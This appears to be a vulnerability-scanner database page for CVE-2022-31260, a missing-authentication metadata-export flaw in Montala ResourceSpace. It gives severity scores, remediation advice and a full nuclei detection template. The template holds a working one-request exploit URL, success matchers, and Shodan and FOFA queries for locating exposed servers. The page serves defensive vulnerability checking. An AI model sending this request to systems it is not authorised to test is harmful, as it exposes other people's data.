Browse / CVEs / CVE-2022-31260
CVE-2022-31260· montala / resourcespace· CWE-306
ResourceSpace - Metadata Export
mediumseverity
6.5CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it
In Montala ResourceSpace through 9.8 before r19636, csv_export_results_metadata.php allows attackers to export collection metadata via a non-NULL k value.
Impact
Successful exploitation could lead to unauthorized access to sensitive metadata.
Fix
Apply the vendor-supplied patch or upgrade to the latest version to mitigate CVE-2022-31260.
How to confirm it
Send: GET /pages/csv_export_results_metadata.php?k=zulu&personaldata=0&allavailable=true&submit=1
Positive when: contains_any(body, "CSV-Export -", "pagename=\"csv_export_results_metadata") and status_code == 200Run it with nuclei: nuclei -id CVE-2022-31260 -u <target>
The full check
id: CVE-2022-31260
info:
name: ResourceSpace - Metadata Export
author: ritikchaddha
severity: medium
description: |
In Montala ResourceSpace through 9.8 before r19636, csv_export_results_metadata.php allows attackers to export collection metadata via a non-NULL k value.
impact: |
Successful exploitation could lead to unauthorized access to sensitive metadata.
remediation: |
Apply the vendor-supplied patch or upgrade to the latest version to mitigate CVE-2022-31260.
reference:
- https://github.com/grymer/CVE/blob/master/CVE-2022-31260.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-31260
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2022-31260
cwe-id: CWE-306
epss-score: 0.02081
epss-percentile: 0.8168
cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: montala
product: resourcespace
shodan-query: title:"ResourceSpace"
fofa-query: title="ResourceSpace"
tags: cve,cve2022,resourcespace,misconfig,vuln
http:
- raw:
- |
GET /pages/csv_export_results_metadata.php?k=zulu&personaldata=0&allavailable=true&submit=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_any(body, "CSV-Export -", "pagename=\"csv_export_results_metadata")'
- 'status_code == 200'
condition: andReferences
- https://github.com/grymer/CVE/blob/master/CVE-2022-31260.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-31260
Use this check only on systems you are authorised to test. Where the data comes from